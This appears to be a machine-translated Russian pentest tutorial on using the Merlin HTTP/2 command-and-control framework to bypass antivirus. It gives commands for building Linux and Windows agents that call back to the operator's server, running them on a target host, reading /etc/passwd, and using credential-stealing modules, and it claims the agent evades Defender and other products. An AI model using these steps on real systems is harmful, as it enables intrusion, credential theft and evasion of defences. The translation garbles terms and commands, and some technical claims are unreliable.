Как обойти защиту антивируса
Этичный ХакерMerlin-это сервер HTTP/2 Command & Control (C&C) для многоплатформенной эксплуатации Post, написанный на языке Golang. Merlin основан на архитектуре клиент-сервер и использует протокол HTTP/2 для связи между агентами сервера и хоста

Обход безопасности с помощью протокола HTTP/2
Используя протокол HTTP / 2 во время соединений Merlin, мы достигаем лучшего использования сетевых ресурсов и снижения восприятия задержки, вводя сжатие заголовков и позволяя несколько одновременных обменов данными на самом соединении. Этот новый протокол был валидирован на RFC7450 и может рассматриваться как способ решения некоторых проблем HTTP/1.x.
Поскольку это новый протокол, он вызовет проблемы на устройствах IDS/IPS.
Короче говоря, существующие инструменты не оснащены для понимания или проверки этого протокола. Кроме того, HTTP/2-это двоичный протокол, который делает его более компактным, легким для анализа и не читаемым пользователем без использования AV.
Сегодня устройства безопасности не могут понять протокол HTTP/2 и даже способны расшифровать сетевой трафик для контроля. Сочетание шифрования и отсутствия поддержки протокола со стороны инспекционных инструментов дает прекрасную возможность избежать обнаружения.
На этом этапе мы покажем, как Мерлин может быть использован для установления связи C&C во время пентест-теста.
Начнем с загрузки Merlin со страницы GitHub. Для этого нам нужно ввести следующую команду в нашем терминале. Обратите внимание, что для запуска этого мастера использовался дистрибутив Kali Linux.
git clone https://github.com/Ne0nd0g/merlin.git
Далее необходимо создать SSL-сертификат для использования канала шифрования и установления соединений между сервером и агентами хоста. Результирующие файлы должны быть созданы в папке "/data/x509Со следующей командой.

Создание агента Linux
На стороне сервера Merlin Merlin должен быть запущен до запуска агентов. Используйте следующую команду:

После запуска агента Linux на центральном целевом хосте на сервер Merlin поступает новое соединение. Для запуска необходимо использовать команду, например:
- список агентов - список доступных агентов
- interact [id] - взаимодействие с указанным агентом
- cmd cat/etc/passwd Загрузите содержимое файла passwd, расположенного в / Etc / passwd

Кроме того, другие команды и модули могут быть использованы через командную помощь.

Еще одна интересная часть этого инструмента-возможность создавать агенты для различных архитектур операционных систем. Затем специально разработанная полезная нагрузка будет создана в обновленной операционной системе Windows 10 с высокой степенью безопасности.
Выполнение сканирования с помощью Защитника Windows для этого конкретного агента ( agent_windows.exe), мы можем убедиться, что он не был обнаружен.

В этом случае сервер Merlin должен работать со следующими параметрами: -i [локальный IP-адрес] и-p [локальный порт]. Эти данные были зашифрованы двоичной системой ( agent_windows.exe ).

Полезная нагрузка позволяет избежать обнаружения ее подписи в Windows 10 с полностью обновленным защитником Microsoft Windows.
Затем агент будет казнен:

На сервере Merlin получено новое соединение, как показано ниже.
Отсюда, набор собственных команд Windows может быть использован через команду cmd и несколько модулей, таких как сбор, mimikatz, sharphound, похитители учетных данных и многое другое.

Низкая частота обнаружения AV.
После того, как тесты были выполнены, образец был протестирован на VirusTotal, и только 13 из 68 AVS идентифицировали агента Merlin как вредоносного.

Which AV обходит:
- Защитник Windows
- Касперский
- Malwarebytes
- Сайленс
- McAfee
- Symantec

Наконец, Merlin-это кросс-платформенный фреймворк после эксплуатации, который использует связь HTTP / 2, чтобы избежать обнаружения и обойти устройства безопасности и AV-обнаружение.
HTTP / 2-это относительно новый протокол, который прорывается через зашифрованные пакеты Perfect Forward Secretary (PFS). AV избегание достигается каждый раз, когда создается новый агент Merlin. Golang-это отличный инструмент с возможностью создания автономных двоичных файлов в одном двоичном файле и имеет множество функций, которые делают его очень мощным языком. Еще одна интересная деталь заключается в том, что он был скомпилирован в машинный код, поэтому он имеет хорошую производительность и из-за этого может обойти его обнаружение.
openssl req -x509 -newkey rsa: 4096 -sha256 -nodes -keyout server.key -out server.crt -subj “/ CN = infosecinstitute” -day 7
GOOS = linux GOARCH = amd64 go build -ldflags “-X main.url = https: //127.0.0.1: 443” -o agent_linux main.go
#выполнение агента на целевом хосте
chmod + x agent_linux && ./agent_linux
sudo go run cmd / merlinserver / main.go -i [ip-address]
GOOS = windows GOARCH = amd64 go build -ldflags “-X main.url = https: //192.168.0.165: 8080” -o agent_windows.exe главное.
go run cmd / merlinserver / main.go -i 192.168.0.165 -p 8080